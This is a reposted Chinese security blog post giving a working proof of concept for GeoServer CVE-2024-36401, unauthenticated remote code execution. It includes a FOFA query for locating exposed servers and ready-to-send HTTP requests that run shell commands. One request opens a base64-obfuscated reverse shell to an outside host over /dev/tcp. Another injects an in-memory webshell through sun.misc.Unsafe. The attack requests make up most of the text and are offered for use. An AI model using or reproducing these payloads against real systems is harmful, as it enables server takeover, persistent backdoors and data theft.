CVE-2024-36401 POC

admin 2024年7月6日17:30:09评论8 views字数 3746阅读12分29秒阅读模式

GeoServer属性名表达式前台代码执行漏洞(CVE-2024-36401)

GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。

在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。

fofa

app="GeoServer"

poc

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1')HTTP/1.1
Host:your-ip:8080
Accept-Encoding:gzip,deflate,br
Accept:*/*
Accept-Language:en-US;q=0.9,en;q=0.8
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/124.0.6367.118Safari/537.36
Connection:close
Cache-Control:max-age=0
POST /geoserver/wfsHTTP/1.1
Host:your-ip:8080
Accept-Encoding:gzip,deflate,br
Accept:*/*
Accept-Language:en-US;q=0.9,en;q=0.8
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/124.0.6367.118Safari/537.36
Connection:close
Cache-Control:max-age=0
Content-Type:application/xml
Content-Length:356

<wfs:GetPropertyValueservice='WFS'version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:QuerytypeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch/tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>
CVE-2024-36401 POC
1

反弹shell

POST /geoserver/wfsHTTP/1.1
Host:192.168.18.131:8080
Accept-Encoding:gzip,deflate,br
Accept:*/*
Accept-Language:en-US;q=0.9,en;q=0.8
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/124.0.6367.118Safari/537.36
Connection:close
Cache-Control:max-age=0
Content-Type:application/xml
Content-Length:356

<wfs:GetPropertyValueservice='WFS'version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:QuerytypeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash-c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuMjEuNjkuMTYvODA4NSAwPiYx}|{base64,-d}|{bash,-i}')
</wfs:valueReference>
</wfs:GetPropertyValue>
CVE-2024-36401 POC

jdk11 注入内存马

jdk17 版本注入内存马不成功

环境:https://zenlayer.dl.sourceforge.net/project/geoserver/GeoServer/2.25.1/geoserver-2.25.1-bin.zip?viasf=1

POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="内存马base64";
var bt;
try {
    bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
    bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>

使用jmg工具生成内存马

CVE-2024-36401 POC

将生成的内存马base64填入到var str="内存马base64";

CVE-2024-36401 POC

CVE-2024-36401 POC

漏洞来源

  • • https://github.com/vulhub/vulhub/blob/master/geoserver/CVE-2024-36401/README.zh-cn.md

  • • https://yzddmr6.com/posts/geoserver-memoryshell/


原文始发于微信公众号(HACK之道):CVE-2024-36401 POC

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  • 本文由 发表于 2024年7月6日17:30:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-36401 POChttp://cn-sec.com/archives/2926817.html

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